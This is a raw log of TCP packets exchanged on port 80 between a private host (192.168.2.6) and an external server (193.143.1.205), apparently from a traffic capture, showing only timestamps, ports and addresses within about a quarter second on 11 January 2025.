Jan 11, 2025 00:10:11.002350092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.002362967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002374887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002387047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002398968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002418995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.002418995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.003159046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.003171921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.003185034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.003196001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.003200054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.003200054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.003209114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.003221035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.003233910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.003243923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.003261089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.003261089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.004441977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.006535053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006568909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006580114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006597996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006611109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006619930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.006619930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.006623030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006787062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006798983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006810904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006824970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.006824970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.006954908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006968021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.006978989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.007004976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.007004976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.028445959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.050534964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.050549030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.050559998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.050612926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.050612926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.052016020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052028894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052047968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052058935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052069902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052122116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.052159071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.052226067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052237988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052251101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052263021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.052264929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.052294016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.089411020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089488029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089498043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089510918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089524031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089535952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089600086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.089600086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.089600086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.089885950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089899063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089910984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089922905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089931965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.089946985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089960098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089972019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089984894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.089994907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.089998007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.090008974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.090017080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.090018034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.090042114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.101923943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.127669096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127703905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127713919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127727032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127732992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127852917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127871990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127871990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.127871990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.127887011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127898932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127973080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127974033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.127974033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.127985001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.127996922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128057003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128106117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128118038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128148079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128160000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128161907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128161907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128161907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128262043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128274918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128287077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128325939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128325939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128415108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128426075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128438950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128451109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128484964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128484964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128565073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128616095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128628969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128639936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128665924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128665924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128787994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128813028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128825903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128839016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128850937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.128864050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.128864050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129003048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129014969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129026890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129053116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129053116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129057884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129070997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129082918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129096985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129117966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129129887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129142046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129162073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129162073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129162073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129455090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129550934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129561901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129575014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129585981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129591942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129591942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129606962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129620075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129632950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129645109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129657030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129668951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.129679918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129679918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129679918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.129851103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.132707119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132719994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132735014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132746935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132828951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.132828951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.132862091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132882118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132895947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132915020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132925987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132930994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.132930994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.132939100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132951975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132963896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132982016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.132991076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.132991076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.132994890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133008003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133021116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133181095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.133181095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.133344889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133393049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133498907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133517027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133528948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133541107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133543015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.133543015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.133562088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133574963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133585930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133599043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133610010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.133610010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.133610964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133625031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133641958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.133667946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.133667946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.133986950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.134073973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.134085894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.134098053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.134109974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.134118080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.134118080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.134124041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.134138107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.134171963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.134171963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.142546892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142630100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.142671108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142682076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142700911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142712116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142724991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142736912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142754078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142760038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.142760038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.142766953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142781019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142800093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142811060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142823935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142834902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142846107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.142846107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.142846107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.142848969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142863035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.142934084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.142934084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.180195093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180265903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180278063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180289030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180301905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180346012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180357933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180370092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180382013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180393934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180407047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180421114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.180421114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.180421114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.180421114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.180454016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180465937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180476904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180490017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.180493116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.180494070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.180526018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.180526018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218317986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218338966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218350887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218384027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218394995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218408108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218421936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218436956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218449116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218462944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218480110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218491077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218508005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218517065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218517065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218591928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218605995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218621016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218636990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218641996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218641996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218641996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218650103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218662024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218698978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218713045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218744993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218749046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218749046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218749046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218760967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218772888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218904018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218921900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218935013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218945026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218945026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.218945980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218962908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218981981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.218993902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219003916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219016075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219022036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219022036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219028950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219042063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219080925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219080925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219080925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219114065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219125986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219139099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219149113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219182968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219182968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219409943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219475985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219486952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219506979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219518900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219532013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219542980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219552040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219552040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219587088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219607115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219619036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219628096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219628096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.219719887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219767094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219779015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219790936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219805002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219816923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.219819069 CET	49709	80	192.168.2.6	193.143.1.205
